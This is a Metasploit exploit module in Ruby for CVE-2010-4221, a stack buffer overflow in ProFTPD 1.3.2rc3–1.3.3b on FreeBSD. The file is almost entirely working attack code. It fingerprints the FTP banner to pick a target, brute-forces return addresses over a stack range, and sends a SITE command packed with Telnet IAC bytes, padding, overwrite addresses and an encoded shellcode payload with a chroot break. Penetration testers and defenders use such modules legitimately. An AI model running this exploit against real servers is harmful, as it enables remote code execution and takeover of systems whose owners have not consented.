##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)',
        'Description' => %q{
          This module exploits a stack-based buffer overflow in versions of ProFTPD
          server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
          large number of Telnet IAC commands, an attacker can corrupt memory and
          execute arbitrary code.
        },
        'Author' => [ 'jduck' ],
        'References' => [
          ['CVE', '2010-4221'],
          ['OSVDB', '68985'],
          ['BID', '44562']
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'PrependChrootBreak' => true
        },
        'Privileged' => true,
        'Payload' => {
          'Space' => 1024,
          # NOTE: \xff's need to be doubled (per ftp/telnet stuff)
          'BadChars' => "\x00\x0a\x0d",
          'PrependEncoder' => "\x83\xec\x7f" # sub esp,0x7f (fix esp)
        },
        'Platform' => [ 'bsd' ],
        'Arch' => [ ARCH_X86 ],
        'Targets' => [
          #
          # Automatic targeting via fingerprinting
          #
          [ 'Automatic Targeting', { 'auto' => true } ],

          #
          # This special one comes first since we dont want its index changing.
          #
          [
            'Debug',
            {
              'IACCount' => 8192, # should cause crash writing off end of stack
              'Offset' => 0,
              'Ret' => 0x41414242,
              'Writable' => 0x43434545
            }
          ],

          #
          # specific targets
          #
          [
            'ProFTPD 1.3.2a Server (FreeBSD 8.0)',
            {
              'IACCount' => 1024,
              'Offset' => 0x414,
              # 'Ret' => 0xbfbfeac4,
              'Writable' => 0x80e64a4,
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xbfbffdfc },
                  'Stop' => { 'Ret' => 0xbfa00000 },
                  'Step' => 512
                }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2010-11-01',
        'Notes' => {
          'Stability' => [ CRASH_SERVICE_DOWN, ],
          'Reliability' => [ REPEATABLE_SESSION, ],
          'SideEffects' => [ IOC_IN_LOGS, ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(21),
      ]
    )
  end

  def check
    # NOTE: We don't care if the login failed here...
    connect
    banner = sock.get_once || ''

    # We just want the banner to check against our targets..
    vprint_status("FTP Banner: #{banner.strip}")

    status = CheckCode::Safe('ProFTPD version does not appear to be vulnerable')
    if banner =~ /ProFTPD (1\.3\.[23])/i
      banner_array = banner.split('.')

      if banner_array.count > 0 && !banner_array[3].nil?
        # gets 1 char on the third part of version number.
        relnum = banner_array[2][0..0]
        tmp = banner_array[2].split(' ')
        # gets extra string info of version number.
        # example: 1.2.3rc ('rc' string)
        extra = tmp[0][1..(tmp[0].length - 1)]
        if relnum == '2'
          if !extra.empty?
            if extra[0..1] == 'rc'
              v = extra[2..extra.length].to_i
              if v && v > 2
                status = CheckCode::Appears("ProFTPD #{banner.strip} appears vulnerable")
              end
            else
              status = CheckCode::Appears("ProFTPD #{banner.strip} appears vulnerable")
            end
          end
        elsif relnum == '3'
          if [ '', 'a', 'b', ].include?(extra)
            status = CheckCode::Appears("ProFTPD #{banner.strip} appears vulnerable")
          end
        end
      end
    end

    disconnect
    return status
  end

  def target
    return @mytarget if @mytarget

    super
  end

  def exploit
    connect

    # Use a copy of the target
    @mytarget = target

    if target['auto']
      @mytarget = nil

      print_status('Automatically detecting the target...')
      if banner && (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))
        print_status("FTP Banner: #{banner.strip}")
        version = m[1]
      else
        fail_with(Failure::NoTarget, 'No matching target')
      end

      regexp = Regexp.escape(version)
      targets.each do |t|
        if (t.name =~ /#{regexp}/)
          @mytarget = t
          break
        end
      end

      if !@mytarget
        fail_with(Failure::NoTarget, 'No matching target')
      end

      print_status("Selected Target: #{@mytarget.name}")

      pl = exploit_regenerate_payload(@mytarget.platform, arch)
      if !pl
        fail_with(Failure::Unknown, 'Unable to regenerate payload!')
      end
    else
      print_status("Trying target #{@mytarget.name}...")
      if banner
        print_status("FTP Banner: #{banner.strip}")
      end

      payload
    end
    disconnect

    super
  end

  def brute_exploit(addrs)
    @mytarget ||= target

    ret = addrs['Ret']
    print_status('Trying return address 0x%.8x...' % ret)

    # puts "attach and press any key"; bleh = $stdin.gets

    buf = ''
    buf << 'SITE '
    # NOTE: buf must be odd-lengthed prior to here.
    buf << "\xff" * @mytarget['IACCount']
    buf << rand_text_alphanumeric(@mytarget['Offset'] - buf.length)
    buf << [
      ret,
      @mytarget['Writable']
    ].pack('V*')
    buf << payload.encoded
    buf << "\r\n"

    connect
    sock.put(buf)
    disconnect

    handler
  end
end
